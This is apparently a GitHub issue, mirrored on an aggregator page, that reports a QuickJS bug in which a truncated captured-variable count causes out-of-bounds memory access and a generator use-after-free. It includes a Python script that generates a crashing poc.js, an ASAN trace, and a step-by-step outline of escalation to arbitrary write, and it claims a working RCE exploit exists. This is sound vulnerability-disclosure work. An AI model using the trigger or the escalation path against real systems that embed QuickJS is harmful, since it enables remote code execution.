Captured variable count truncation causes out-of-bounds r/w + generator use-after-free

Abierto
#1,865 0 comentarios 0 reacciones 0 asignados Ver en GitHub

Los mantenedores suelen responder en 1 día

@ck0i ya está trabajando en esto.

Desde el 2/11/2026.

  • #1869 de @ck0i — abierto

Evaluación

Dificultad
4/5
Tiempo estimado
3-5 días
Aptitud para principiantes
52/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Activo
Stack tecnológico
c
Área
security

Línea de trabajo

Start in quickjs.c at capture_var(), async_func_init(), and close_lexical_var(), following how the captured-variable count is stored and used to allocate and close the generator frame. Reproduce with the supplied poc.js under ASAN using qjs poc.js. The fix is complete when the 65,536-variable case no longer causes an out-of-bounds access or generator use-after-free, with regression coverage for the count boundary.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

capture_var() assigns JSVarDef.var_ref_idx from unchecked int count. And JSFunctionBytecode.var_ref_count stores that count in uint16_t.

  1. Capturing 65,536 variables makes var_ref_count wrap to zero.
  2. async_func_init() allocates generator frame using truncated count.
  3. close_lexical_var() indexes sf->var_refs[var_ref_idx] using original index, reads past this frame, and clears that slot if it contains pointer.
  4. When that slot contains a live JSVarRef *, then close_var_ref() decrements the generator frame's reference count. And then the frame can be freed while the generator object still points to it.
  5. Reusing the frame with an ArrayBuffer lets the stale generator write two native callback fields

So can be escalated to write pretty easily, and we also have a working RCE exploit for this.

PoC

from pathlib import Path

a = ",".join(f"a{i}" for i in range(32768))
v = ",".join(f"v{i}" for i in range(32767))
refs = ";".join([f"a{i}" for i in range(32768)] +
                [f"v{i}" for i in range(32767)])

Path("poc.js").write_text(
    f"function* g({a}){{\n"
    "  { let x=1; if (Math.random()<0) (()=>x); }\n"
    f"  var {v};\n"
    f"  if (Math.random()<0) (()=>{{{refs}}});\n"
    "  yield 1;\n}\n"
    "var it=g(); it.next();\n"
)

Test with ASAN qjs poc.js

ASAN Crash

=================================================================
==47==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x72401ee9c890 at pc 0x5f022f6a55bf bp 0x7ffcbfb97620 sp 0x7ffcbfb97610
READ of size 8 at 0x72401ee9c890 thread T0
    #0 0x5f022f6a55be in close_lexical_var /tmp/quickjs-bellard/quickjs.c:18000
    #1 0x5f022f6a55be in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:19228
    #2 0x5f022f7d1ed3 in async_func_resume /tmp/quickjs-bellard/quickjs.c:21536
    #3 0x5f022f7d2778 in js_generator_next /tmp/quickjs-bellard/quickjs.c:21689
    #4 0x5f022f715db3 in js_call_c_function /tmp/quickjs-bellard/quickjs.c:18127
    #5 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
    #6 0x5f022f68a9c3 in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18678
    #7 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
    #8 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
    #9 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
    #10 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
    #11 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
    #12 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
    #13 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
    #14 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
    #15 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
    #16 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
    #17 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
    #18 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)

0x72401ee9c890 is located 0 bytes after 524432-byte region [0x72401ee1c800,0x72401ee9c890)
allocated by thread T0 here:
    #0 0x764022b2b60f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0x5f022f65e969 in js_def_malloc /tmp/quickjs-bellard/quickjs.c:2195
    #2 0x5f022f65836e in js_malloc_large /tmp/quickjs-bellard/quickjs.c:1567
    #3 0x5f022f6cf141 in __js_malloc /tmp/quickjs-bellard/quickjs.c:1619
    #4 0x5f022f6cf141 in js_malloc_rt /tmp/quickjs-bellard/quickjs.c:1831
    #5 0x5f022f6cf141 in js_malloc /tmp/quickjs-bellard/quickjs.c:1862
    #6 0x5f022f6cf141 in async_func_init /tmp/quickjs-bellard/quickjs.c:21479
    #7 0x5f022f7d2e6e in js_generator_function_call /tmp/quickjs-bellard/quickjs.c:21744
    #8 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
    #9 0x5f022f689fcd in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18642
    #10 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
    #11 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
    #12 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
    #13 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
    #14 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
    #15 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
    #16 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
    #17 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
    #18 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
    #19 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
    #20 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
    #21 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/quickjs-bellard/quickjs.c:18000 in close_lexical_var
Shadow bytes around the buggy address:
  0x72401ee9c600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x72401ee9c880: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9c900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9c980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9ca00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9ca80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9cb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==47==ABORTING
Lenguaje dominante
C
Estrellas
3.9k
Forks
389
Merge medio
4 d 5 h
PR fusionados (30 d)
16

Preparar el entorno

Este proyecto no incluye contenedor de desarrollo, Dockerfile ni guía de contribución, así que la configuración corre por tu cuenta: empieza por su README y consulta nuestra guía para la primera contribución para los pasos generales.

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de quickjs-ng/quickjs

Todos los issues de quickjs-ng/quickjs

Issues similares

Más issues de C

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.